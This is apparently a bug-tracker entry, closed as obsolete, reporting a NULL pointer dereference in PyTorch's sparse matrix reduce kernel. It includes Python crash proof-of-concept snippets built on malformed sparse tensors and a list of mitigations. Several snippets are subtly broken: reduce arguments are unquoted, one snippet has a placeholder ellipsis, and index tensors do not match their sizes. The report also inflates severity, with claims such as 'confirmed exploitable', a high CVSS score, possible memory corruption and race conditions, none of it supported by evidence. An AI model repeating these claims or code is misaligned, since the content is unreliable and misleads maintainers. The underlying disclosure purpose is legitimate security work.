-
Bug
-
Resolution: Obsolete
-
Undefined
-
None
-
None
-
False
-
-
False
-
-
Vulnerability Types: CWE-476 (NULL Pointer Dereference), CWE-252 (Unchecked Return Value), CWE-665 (Improper Initialization), CWE-682 (Incorrect Calculation), CWE-119 (Buffer Errors), CWE-362 (Race Condition), CWE-125 (Out-of-bounds Read), CWE-787 (Out-of-bounds Write)
Location:
- File: /pytorch/aten/src/ATen/native/cpu/SpmmReduceKernel.cpp
- Lines: 60, 62
Related Exploit Files:
- exploit_cve_null_pointer_spmm.py (8 basic exploitation test cases)
- exploit_cve_advanced_spmm.py (8 advanced exploitation techniques)
- CVE_NULL_POINTER_REPORT.md (detailed vulnerability report)
- CVE_ANALYSIS_SUMMARY.md (comprehensive analysis)
- CVE_EXPLOITATION_INDEX.md (project index)
Details:
This vulnerability involves NULL pointer dereferences in the _update() function of SpmmReduceKernel.cpp. The critical lines are:
- Line 60: opmath_t out_val = opmath_t(out_ptr[k]); // NULL POINTER DEREFERENCE
- Line 62: out_ptr[k] = out_val; // NULL POINTER WRITE
Root Causes:
1. Unchecked buffer allocations (CWE-252) - buffer.data_ptr<opmath_t>() result not verified
2. Missing NULL pointer validation (CWE-476) - no checks before dereference
3. Unsafe pointer arithmetic (CWE-682) - other_data + c * K can overflow
4. Insufficient bounds checking (CWE-119) - array access assumes valid bounds
5. Potential race conditions (CWE-362) - multi-threaded buffer access
Exploitation Scenarios:
1. Memory exhaustion + BFloat16/Half types causing buffer allocation failure
2. Out-of-bounds column indices causing pointer arithmetic overflow
3. Thread count manipulation triggering race conditions
4. Zero-dimensional tensors with NULL data pointers
5. Type conversion failures returning NULL from data_ptr<scalar_t>()
Impact:
- Denial of Service (CONFIRMED) - Segmentation fault crashes the process
- Memory Corruption (POSSIBLE) - NULL pointer write could lead to arbitrary memory access
- Information Disclosure (POSSIBLE) - Out-of-bounds read could leak memory contents
- CVSS Score: 7.5 (HIGH)
- Status: CONFIRMED EXPLOITABLE (Exit code 139 - Segmentation fault)
Exploit Code Samples:
# From exploit_cve_null_pointer_spmm.py - Basic Exploitation # Test 1: Empty sparse tensor with invalid indices crow_indices = torch.tensor([0], dtype=torch.int64) col_indices = torch.tensor([], dtype=torch.int64) values = torch.tensor([], dtype=torch.float32) sparse = torch.sparse_csr_tensor(crow_indices, col_indices, values, size=(0, 0)) other = torch.randn(0, 10) result = torch.sparse.mm(sparse, other, reduce=sum) # Potential crash # Test 2: Out-of-bounds column indices col_indices = torch.tensor([0, 2147483647], dtype=torch.int64) # INT_MAX values = torch.tensor([1.0, 2.0], dtype=torch.float32) sparse = torch.sparse_csr_tensor(crow_indices, col_indices, values, size=(1, 2147483647)) result = torch.sparse.mm(sparse, other, reduce=sum) # Pointer overflow # From exploit_cve_advanced_spmm.py - Advanced Exploitation # Test 1: BFloat16 buffer allocation failure size = 50000 nnz = 10000 crow_indices = torch.zeros(size + 1, dtype=torch.int64) col_indices = torch.randint(0, size, (nnz,), dtype=torch.int64) values = torch.randn(nnz, dtype=torch.bfloat16) sparse = torch.sparse_csr_tensor(crow_indices, col_indices, values, size=(size, size)) other = torch.randn(size, 100, dtype=torch.bfloat16) result = torch.sparse.mm(sparse, other, reduce=amax) # Buffer allocation stress # Test 2: Memory exhaustion attack large_tensors = [torch.randn(10000, 10000) for _ in range(10)] sparse = torch.sparse_csr_tensor(..., dtype=torch.bfloat16) result = torch.sparse.mm(sparse, other, reduce=amax) # CRASH (Confirmed) # Test 3: Thread manipulation torch.set_num_threads(128) result = torch.sparse.mm(sparse, other, reduce=amax) # Race condition
Recommended Mitigations:
1. Add NULL pointer checks before dereferences at lines 60, 62
2. Validate buffer allocation success at line 99
3. Add bounds checking for column indices before pointer arithmetic
4. Implement overflow detection for pointer calculations
5. Add thread-safety guarantees for buffer access
6. Comprehensive input validation for sparse tensor operations